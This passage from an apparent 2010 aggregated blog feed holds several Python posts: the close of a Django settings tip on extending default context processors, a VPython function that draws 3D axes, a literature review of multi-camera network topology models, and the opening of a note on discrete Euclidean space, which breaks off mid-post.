&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;python&quot;&gt;TEMPLATE_CONTEXT_PROCESSORS = &lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;django.contrib.auth.context_processors.auth&amp;quot;&lt;/span&gt;,
&lt;span&gt;&amp;quot;django.core.context_processors.debug&amp;quot;&lt;/span&gt;,
&lt;span&gt;&amp;quot;django.core.context_processors.i18n&amp;quot;&lt;/span&gt;,
&lt;span&gt;&amp;quot;django.core.context_processors.media&amp;quot;&lt;/span&gt;,
&lt;span&gt;&amp;quot;django.contrib.messages.context_processors.messages&amp;quot;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;But if you pay close attention to &lt;a href=&quot;http://docs.djangoproject.com/en/dev/ref/settings/#template-context-processors&quot;&gt;the development version&amp;#8217;s documentation&lt;/a&gt;, you&amp;#8217;ll notice a couple of interesting notes:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Changed in Django Development version: &lt;/strong&gt;&amp;#8220;django.contrib.messages.context_processors.messages&amp;#8221; was added to the default. For more information, see the messages documentation.&lt;br /&gt;
&lt;strong&gt;Changed in Django Development version&lt;/strong&gt;: The auth context processor was moved in this release from its old location django.core.context_processors.auth to django.contrib.auth.context_processors.auth.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;This is a red flag! The Django dev team would like you to use hardcoded values that reference to classes that will no longer exist once the next version is released, and that omit new processors that you are likely to require.&lt;/p&gt;
&lt;h2&gt;The Solution&lt;/h2&gt;
&lt;p&gt;Obviously Django has access to its own default settings, so there must be a way to simply &lt;em&gt;extend&lt;/em&gt; the defaults instead of overriding them with hardcoded values. You just need to dig around a bit in &lt;a href=&quot;http://code.djangoproject.com/browser/django/trunk/django/conf/global_settings.py#L186&quot;&gt;the Django source code&lt;/a&gt; to find exactly how. I&amp;#8217;ll save you some digging:&lt;/p&gt;
&lt;p&gt;Add this at the top of your settings.py file:&lt;/p&gt;
&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;python&quot;&gt;&lt;span&gt;import&lt;/span&gt; django.&lt;span&gt;conf&lt;/span&gt;.&lt;span&gt;global_settings&lt;/span&gt; &lt;span&gt;as&lt;/span&gt; DEFAULT_SETTINGS&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Then extend the default context processors:&lt;/p&gt;
&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;python&quot;&gt;TEMPLATE_CONTEXT_PROCESSORS = DEFAULT_SETTINGS.&lt;span&gt;TEMPLATE_CONTEXT_PROCESSORS&lt;/span&gt; + &lt;span&gt;&amp;#40;&lt;/span&gt;
&lt;span&gt;&amp;quot;myapp.context_processors.example&amp;quot;&lt;/span&gt;,
&lt;span&gt;&amp;quot;myapp.context_processors.other_example&amp;quot;&lt;/span&gt;,
&lt;span&gt;# etc...&lt;/span&gt;
&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;Why is this a best-practice approach?&lt;/h2&gt;
&lt;p&gt;In software-engineering, you want to ensure maximum (reasonable) future interoperability of all your components, and there is really no component as important as your actual development framework, Django or otherwise.&lt;/p&gt;
&lt;p&gt;Using hardcoded values that are already defined somewhere not only breaks &lt;acronym title=&quot;Don't Repeat Yourself&quot;&gt;DRY&lt;/acronym&gt;, but it also introduces possible breakage on framework upgrades. I know you are diligent and always read the release notes before upgrading critical components, and I know you use a staging environment to test those changes, but by actively looking out for this kind of traps, you have just saved yourself some debugging time and some head-scratching.&lt;/p&gt;
&lt;p&gt;Happy coding!&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.addtoany.com/add_to/reddit?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F04%2F07%2Fdjango-context-processors-best-practice%2F&amp;amp;linkname=Django%20Context%20Processors%20Best%20Practice&quot; title=&quot;Reddit&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/reddit.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Reddit&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F04%2F07%2Fdjango-context-processors-best-practice%2F&amp;amp;linkname=Django%20Context%20Processors%20Best%20Practice&quot; title=&quot;Delicious&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/delicious.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Delicious&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F04%2F07%2Fdjango-context-processors-best-practice%2F&amp;amp;linkname=Django%20Context%20Processors%20Best%20Practice&quot; title=&quot;Google Bookmarks&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/google.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Google Bookmarks&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F04%2F07%2Fdjango-context-processors-best-practice%2F&amp;amp;linkname=Django%20Context%20Processors%20Best%20Practice&quot; title=&quot;Facebook&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/facebook.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Facebook&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/google_buzz?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F04%2F07%2Fdjango-context-processors-best-practice%2F&amp;amp;linkname=Django%20Context%20Processors%20Best%20Practice&quot; title=&quot;Google Buzz&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/google_buzz.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Google Buzz&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/stumbleupon?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F04%2F07%2Fdjango-context-processors-best-practice%2F&amp;amp;linkname=Django%20Context%20Processors%20Best%20Practice&quot; title=&quot;StumbleUpon&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/stumbleupon.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;StumbleUpon&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/linkedin?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F04%2F07%2Fdjango-context-processors-best-practice%2F&amp;amp;linkname=Django%20Context%20Processors%20Best%20Practice&quot; title=&quot;LinkedIn&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/linkedin.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;LinkedIn&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F04%2F07%2Fdjango-context-processors-best-practice%2F&amp;amp;linkname=Django%20Context%20Processors%20Best%20Practice&quot; title=&quot;Twitter&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/twitter.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Twitter&quot; /&gt;&lt;/a&gt; &lt;a class=&quot;a2a_dd addtoany_share_save&quot; href=&quot;http://www.addtoany.com/share_save&quot;&gt;Share&lt;/a&gt; &lt;/p&gt;
&lt;p&gt;Related posts:&lt;ol&gt;&lt;li&gt;&lt;a href=&quot;http://blog.madpython.com/2009/03/07/extending-postgresql-with-python/&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link: Extending PostgreSQL with Python&quot;&gt;Extending PostgreSQL with Python&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;/p&gt;</content>
		<author>
			<name>Xavier Spriet</name>
			<uri>http://blog.madpython.com</uri>
		</author>
		<source>
			<title type="html">Mad Python</title>
			<subtitle type="html">Watch out.. he's angry</subtitle>
			<link rel="self" href="http://blog.madpython.com/feed/"/>
			<id>http://blog.madpython.com/feed/</id>
			<updated>2010-09-07T16:00:04+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Axes of Evil</title>
		<link href="http://blog.mavrinac.com/2010/03/axes-of-evil/"/>
		<id>http://blog.mavrinac.com/?p=147</id>
		<updated>2010-03-23T01:22:46+00:00</updated>
		<content type="html">&lt;p&gt;A quick and dirty set of 3D axes for &lt;a href=&quot;http://vpython.org/&quot;&gt;Visual&lt;/a&gt;:&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;python&quot;&gt;&lt;span&gt;from&lt;/span&gt; visual &lt;span&gt;import&lt;/span&gt; arrow, cylinder
&amp;nbsp;
&lt;span&gt;def&lt;/span&gt; visual_axes&lt;span&gt;&amp;#40;&lt;/span&gt; scale &lt;span&gt;&amp;#41;&lt;/span&gt;:
    &lt;span&gt;&amp;quot;&amp;quot;&amp;quot;&lt;span&gt;\&lt;/span&gt;
    Display a set of 3D axes.
&amp;nbsp;
    @param scale: The scale of the axis set.
    @type scale: C{float}
    &amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
    &lt;span&gt;for&lt;/span&gt; axis &lt;span&gt;in&lt;/span&gt; &lt;span&gt;&amp;#91;&lt;/span&gt; &lt;span&gt;tuple&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt; &lt;span&gt;&amp;#91;&lt;/span&gt; i == j &lt;span&gt;and&lt;/span&gt; scale &lt;span&gt;*&lt;/span&gt; &lt;span&gt;5&lt;/span&gt; &lt;span&gt;or&lt;/span&gt; &lt;span&gt;0&lt;/span&gt; &lt;span&gt;for&lt;/span&gt; i &lt;span&gt;in&lt;/span&gt; &lt;span&gt;range&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt; &lt;span&gt;3&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt; &lt;span&gt;&amp;#93;&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt; \
                  &lt;span&gt;for&lt;/span&gt; j &lt;span&gt;in&lt;/span&gt; &lt;span&gt;range&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt; &lt;span&gt;3&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt; &lt;span&gt;&amp;#93;&lt;/span&gt;:
        arrow&lt;span&gt;&amp;#40;&lt;/span&gt; pos = &lt;span&gt;&amp;#40;&lt;/span&gt; &lt;span&gt;0&lt;/span&gt;, &lt;span&gt;0&lt;/span&gt;, &lt;span&gt;0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;, axis = axis, shaftwidth = scale / &lt;span&gt;10.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;
&amp;nbsp;
    cylinder&lt;span&gt;&amp;#40;&lt;/span&gt; pos = &lt;span&gt;&amp;#40;&lt;/span&gt; &lt;span&gt;&amp;#40;&lt;/span&gt; scale &lt;span&gt;*&lt;/span&gt; &lt;span&gt;6.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;, -&lt;span&gt;&amp;#40;&lt;/span&gt; scale / &lt;span&gt;4.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;, &lt;span&gt;0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;,
              axis = &lt;span&gt;&amp;#40;&lt;/span&gt; -&lt;span&gt;&amp;#40;&lt;/span&gt; scale / &lt;span&gt;2.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;, &lt;span&gt;&amp;#40;&lt;/span&gt; scale / &lt;span&gt;2.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;, &lt;span&gt;0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;,
              radius = scale / &lt;span&gt;20.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;
    cylinder&lt;span&gt;&amp;#40;&lt;/span&gt; pos = &lt;span&gt;&amp;#40;&lt;/span&gt; scale &lt;span&gt;*&lt;/span&gt; &lt;span&gt;5.5&lt;/span&gt;, -&lt;span&gt;&amp;#40;&lt;/span&gt; scale / &lt;span&gt;4.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;, &lt;span&gt;0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;,
              axis = &lt;span&gt;&amp;#40;&lt;/span&gt; &lt;span&gt;&amp;#40;&lt;/span&gt; scale / &lt;span&gt;2.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;, &lt;span&gt;&amp;#40;&lt;/span&gt; scale / &lt;span&gt;2.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;, &lt;span&gt;0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;,
              radius = scale / &lt;span&gt;20.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;
&amp;nbsp;
    cylinder&lt;span&gt;&amp;#40;&lt;/span&gt; pos = &lt;span&gt;&amp;#40;&lt;/span&gt; &lt;span&gt;0&lt;/span&gt;, &lt;span&gt;&amp;#40;&lt;/span&gt; scale &lt;span&gt;*&lt;/span&gt; &lt;span&gt;5.5&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;, &lt;span&gt;0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;,
              axis = &lt;span&gt;&amp;#40;&lt;/span&gt; &lt;span&gt;0&lt;/span&gt;, &lt;span&gt;&amp;#40;&lt;/span&gt; scale / &lt;span&gt;4.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;, &lt;span&gt;0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;,
              radius = scale / &lt;span&gt;20.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;
    cylinder&lt;span&gt;&amp;#40;&lt;/span&gt; pos = &lt;span&gt;&amp;#40;&lt;/span&gt; &lt;span&gt;0&lt;/span&gt;, &lt;span&gt;&amp;#40;&lt;/span&gt; scale &lt;span&gt;*&lt;/span&gt; &lt;span&gt;5.75&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;, &lt;span&gt;0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;,
              axis = &lt;span&gt;&amp;#40;&lt;/span&gt; -&lt;span&gt;&amp;#40;&lt;/span&gt; scale &lt;span&gt;*&lt;/span&gt; &lt;span&gt;0.17&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;, &lt;span&gt;&amp;#40;&lt;/span&gt; scale / &lt;span&gt;4.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;, &lt;span&gt;&amp;#40;&lt;/span&gt; scale &lt;span&gt;*&lt;/span&gt; &lt;span&gt;0.17&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;,
              radius = scale / &lt;span&gt;20.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;
    cylinder&lt;span&gt;&amp;#40;&lt;/span&gt; pos = &lt;span&gt;&amp;#40;&lt;/span&gt; &lt;span&gt;0&lt;/span&gt;, &lt;span&gt;&amp;#40;&lt;/span&gt; scale &lt;span&gt;*&lt;/span&gt; &lt;span&gt;5.75&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;, &lt;span&gt;0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;,
              axis = &lt;span&gt;&amp;#40;&lt;/span&gt; &lt;span&gt;&amp;#40;&lt;/span&gt; scale &lt;span&gt;*&lt;/span&gt; &lt;span&gt;0.17&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;, &lt;span&gt;&amp;#40;&lt;/span&gt; scale / &lt;span&gt;4.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;, -&lt;span&gt;&amp;#40;&lt;/span&gt; scale &lt;span&gt;*&lt;/span&gt; &lt;span&gt;0.17&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;,
              radius = scale / &lt;span&gt;20.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;
&amp;nbsp;
    cylinder&lt;span&gt;&amp;#40;&lt;/span&gt; pos = &lt;span&gt;&amp;#40;&lt;/span&gt; &lt;span&gt;0&lt;/span&gt;, -&lt;span&gt;&amp;#40;&lt;/span&gt; scale / &lt;span&gt;4.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;, &lt;span&gt;&amp;#40;&lt;/span&gt; scale &lt;span&gt;*&lt;/span&gt; &lt;span&gt;6.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;,
              axis = &lt;span&gt;&amp;#40;&lt;/span&gt; &lt;span&gt;0.0&lt;/span&gt;, &lt;span&gt;&amp;#40;&lt;/span&gt; scale / &lt;span&gt;2.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;, -&lt;span&gt;&amp;#40;&lt;/span&gt; scale / &lt;span&gt;2.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;,
              radius = scale / &lt;span&gt;20.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;
    cylinder&lt;span&gt;&amp;#40;&lt;/span&gt; pos = &lt;span&gt;&amp;#40;&lt;/span&gt; &lt;span&gt;0&lt;/span&gt;, -&lt;span&gt;&amp;#40;&lt;/span&gt; scale / &lt;span&gt;4.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;, &lt;span&gt;&amp;#40;&lt;/span&gt; scale &lt;span&gt;*&lt;/span&gt; &lt;span&gt;6.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;,
              axis = &lt;span&gt;&amp;#40;&lt;/span&gt; &lt;span&gt;0.0&lt;/span&gt;, &lt;span&gt;0.0&lt;/span&gt;, -&lt;span&gt;&amp;#40;&lt;/span&gt; scale / &lt;span&gt;2.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;,
              radius = scale / &lt;span&gt;20.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;
    cylinder&lt;span&gt;&amp;#40;&lt;/span&gt; pos = &lt;span&gt;&amp;#40;&lt;/span&gt; &lt;span&gt;0&lt;/span&gt;, &lt;span&gt;&amp;#40;&lt;/span&gt; scale / &lt;span&gt;4.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;, &lt;span&gt;&amp;#40;&lt;/span&gt; scale &lt;span&gt;*&lt;/span&gt; &lt;span&gt;6.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;,
              axis = &lt;span&gt;&amp;#40;&lt;/span&gt; &lt;span&gt;0.0&lt;/span&gt;, &lt;span&gt;0.0&lt;/span&gt;, -&lt;span&gt;&amp;#40;&lt;/span&gt; scale / &lt;span&gt;2.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;,
              radius = scale / &lt;span&gt;20.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Yep, this is how I&amp;#8217;m validating my geometry module by eye.&lt;/p&gt;</content>
		<author>
			<name>Aaron Mavrinac</name>
			<uri>http://blog.mavrinac.com</uri>
		</author>
		<source>
			<title type="html">Aaron Mavrinac</title>
			<subtitle type="html">Your reality, sir, is lies and balderdash and I'm delighted to say that I have no grasp of it whatsoever.</subtitle>
			<link rel="self" href="http://blog.mavrinac.com/feed/"/>
			<id>http://blog.mavrinac.com/feed/</id>
			<updated>2010-06-28T14:00:30+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Topology, To What End?</title>
		<link href="http://blog.mavrinac.com/2010/03/topology-to-what-end/"/>
		<id>http://blog.mavrinac.com/?p=142</id>
		<updated>2010-03-19T16:04:12+00:00</updated>
		<content type="html">&lt;p&gt;There have been a number of approaches to build topological models of multi-camera networks. The idea is to represent, in some useful and relatively simple mathematical way, the relationship &amp;#8212; usually meaning the overlap &amp;#8212; between the fields of view of the cameras. To date, it seems as though all such methods fall into two basic types.&lt;/p&gt;
&lt;p&gt;On one hand, we have the motion-based methods, which are typically targeted at &lt;a href=&quot;http://en.wikipedia.org/wiki/Video_tracking&quot;&gt;tracking&lt;/a&gt; applications. &lt;cite title=&quot;T.J. Ellis, D. Makris, and J.K. Black, 'Learning a Multi-Camera Topology,' Proc. Joint IEEE Wkshp. on Visual Surveillance and Performance Evaluation of Tracking and Surveillance, 2003, pp. 165-171.&quot;&gt;Ellis et al.&lt;/cite&gt; temporally correlate objects transiting between adjacent fields of view, after establishing each camera&amp;#8217;s entry and exit zones. Similarly, &lt;cite title=&quot;Z. Mandel, I. Shimsoni, and D. Keren, 'Multi-Camera Topology Recovery from Coherent Motion,' Proc. 1st ACM/IEEE Intl. Conf. on Distributed Smart Cameras, 2007, pp. 243-250.&quot;&gt;Mandel et al.&lt;/cite&gt; correlate simultaneous motion between views to establish overlap. &lt;cite title=&quot;H. Detmold, A. Van Den Hengel, A. Dick, A. Cichowski, R. Hill, E. Kocadag, K. Falkner, and D.S. Munro, 'Topology Estimation for Thousand-Camera Surveillance Networks,' Proc. 1st ACM/IEEE Intl. Conf. on Distributed Smart Cameras, 2007, pp. 195-202.&quot;&gt;Detmold et al.&lt;/cite&gt; propose the &lt;i&gt;exclusion&lt;/i&gt; algorithm, which is basically the opposite and potentially more robust: if there is motion in one view, and not in another, then those views cannot overlap (initially all views are assumed to overlap). &lt;cite title=&quot;R. Farrell and L.S. Davis, 'Decentralized Discovery of Camera Network Topology,' Proc. 2nd ACM/IEEE Intl. Conf. on Distributed Smart Cameras, 2008.&quot;&gt;Farrell and Davis&lt;/cite&gt; present a slightly different model, dubbed the &lt;i&gt;transition&lt;/i&gt; model, which focuses even more on tracking as it expresses the probability of transitions between views; this is also determined from observations of motion.&lt;/p&gt;
&lt;p&gt;On the other hand, we have the feature-based methods, typically used as a precursor to or substitute for multi-camera &lt;a href=&quot;http://en.wikipedia.org/wiki/Camera_resectioning&quot;&gt;calibration&lt;/a&gt;. &lt;cite title=&quot;D. Devarajan and R.J. Radke, 'Distributed Metric Calibration of Large Camera Networks,' Proc. 1st Workshop on Broadband Advanced Sensor Networks, 2004.&quot;&gt;Devarajan and Radke&lt;/cite&gt; first proposed the &lt;i&gt;vision graph&lt;/i&gt; without specifying an automated means of obtaining it; they later approached this topic in &lt;cite title=&quot;Z. Cheng, D. Devarajan, and R.J. Radke, 'Determining Vision Graphs for Distributed Camera Networks Using Feature Digests,' EURASIP Jrnl. on Advances in Signal Processing, vol. 2007, 2007.&quot;&gt;Cheng et al.&lt;/cite&gt; using distributed matching of &lt;a href=&quot;http://en.wikipedia.org/wiki/Scale-invariant_feature_transform&quot;&gt;SIFT&lt;/a&gt; features. &lt;cite title=&quot;G. Kurillo, Z. Li, and R. Bajcsy, 'Wide-Area External Multi-Camera Calibration using Vision Graphs and Virtual Calibration Object,' Proc. 2nd ACM/IEEE Intl. Conf. on Distributed Smart Cameras, 2008.&quot;&gt;Kurillo et al.&lt;/cite&gt; also use common features to build their vision graph for calibration. In &lt;cite title=&quot;A. Mavrinac, X. Chen, and K. Tepe, 'Feature-Based Calibration of Distributed Smart Stereo Camera Networks,' 2nd ACM/IEEE Intl. Conf. on Distributed Smart Cameras, 2008.&quot;&gt;my ICDSC 2008 paper&lt;/cite&gt;, the vision graph is a theoretical upper limit for the grouping and calibration graphs, which are built from 3D feature matches via &lt;a href=&quot;http://en.wikipedia.org/wiki/Iterative_Closest_Point&quot;&gt;registration&lt;/a&gt;. &lt;cite title=&quot;P. Kulkarni, P. Shenoy, and D. Ganesan, 'Approximate Initialization of Camera Sensor Networks,' Proc. 4th European Conf. on Wireless Sensor Networks, 2007, pp. 67-82.&quot;&gt;Kulkarni et al.&lt;/cite&gt; use a calibration target to explicitly match spatial points, and build an actual tessellation of 3D space to represent the range and degree of overlap of the cameras&amp;#8217; fields of view. Finally, &lt;cite title=&quot;E.J. Lobaton, P. Ahammad, and S.S. Sastry, 'Algebraic Approach for Recovering Topology in Distributed Camera Networks,' Proc. ACM/IEEE Intl. Conf. on Information Processing in Sensor Networks, 2009.&quot;&gt;Lobaton et al.&lt;/cite&gt; use scene features (in their case, bisecting lines indicating wall delineations) to construct their algebraic topological model, which is proposed as a substitute for full calibration in certain (unspecified) secondary applications.&lt;/p&gt;
&lt;p&gt;So is generic topological information about multi-camera networks only useful for tracking and calibration, the two problem areas that appear to have spawned every topological model in the literature? Are there any other applications that simply don&amp;#8217;t have any convenient information of their own for building such models?&lt;/p&gt;</content>
		<author>
			<name>Aaron Mavrinac</name>
			<uri>http://blog.mavrinac.com</uri>
		</author>
		<source>
			<title type="html">Aaron Mavrinac</title>
			<subtitle type="html">Your reality, sir, is lies and balderdash and I'm delighted to say that I have no grasp of it whatsoever.</subtitle>
			<link rel="self" href="http://blog.mavrinac.com/feed/"/>
			<id>http://blog.mavrinac.com/feed/</id>
			<updated>2010-06-28T14:00:30+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Snap To Grid</title>
		<link href="http://blog.mavrinac.com/2010/03/snap-to-grid/"/>
		<id>http://blog.mavrinac.com/?p=126</id>
		<updated>2010-03-17T15:33:48+00:00</updated>
		<content type="html">&lt;p&gt;I like &lt;cite title=&quot;G.T. Herman, Geometry of Digital Spaces, Birkhäuser, 1998.&quot;&gt;Gabor Herman&lt;/cite&gt;&amp;#8217;s definition of discrete Euclidean space. He defines, for any positive real number &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Cdelta&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\delta&quot; title=&quot;\delta&quot; class=&quot;latex&quot; /&gt; and any positive integer &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=N&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;N&quot; title=&quot;N&quot; class=&quot;latex&quot; /&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Cdelta%20%5Cmathbb%7BZ%7D%5EN%20%3D%20%5C%7B%20%28%20%5Cdelta%20x_1%2C%20%5Cldots%2C%20%5Cdelta%20x_N%20%29%20%7C%20x_n%20%5Cin%20%5Cmathbb%7BZ%7D%20%5Ctext%7B%20for%20%7D%201%20%5Cleq%20n%20%5Cleq%20N%20%5C%7D&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\delta \mathbb{Z}^N = \{ ( \delta x_1, \ldots, \delta x_N ) | x_n \in \mathbb{Z} \text{ for } 1 \leq n \leq N \}&quot; title=&quot;\delta \mathbb{Z}^N = \{ ( \delta x_1, \ldots, \delta x_N ) | x_n \in \mathbb{Z} \text{ for } 1 \leq n \leq N \}&quot; class=&quot;latex&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This chops N-space up into a square (cubic, etc.) &lt;a href=&quot;http://en.wikipedia.org/wiki/Bravais_lattice&quot;&gt;Bravais lattice&lt;/a&gt;, with primitive vectors of magnitude &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Cdelta&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\delta&quot; title=&quot;\delta&quot; class=&quot;latex&quot; /&gt;. Each point in the discrete space is then associated with a &lt;a href=&quot;http://en.wikipedia.org/wiki/Primitive_cell&quot;&gt;primitive cell&lt;/a&gt; (or &lt;a href=&quot;http://en.wikipedia.org/wiki/Voronoi_diagram&quot;&gt;Voronoi&lt;/a&gt; neighbourhood, in Herman&amp;#8217;s parlance) consisting of all points in the associated continuous space which are closer to that discrete point than any other discrete point.&lt;/p&gt;
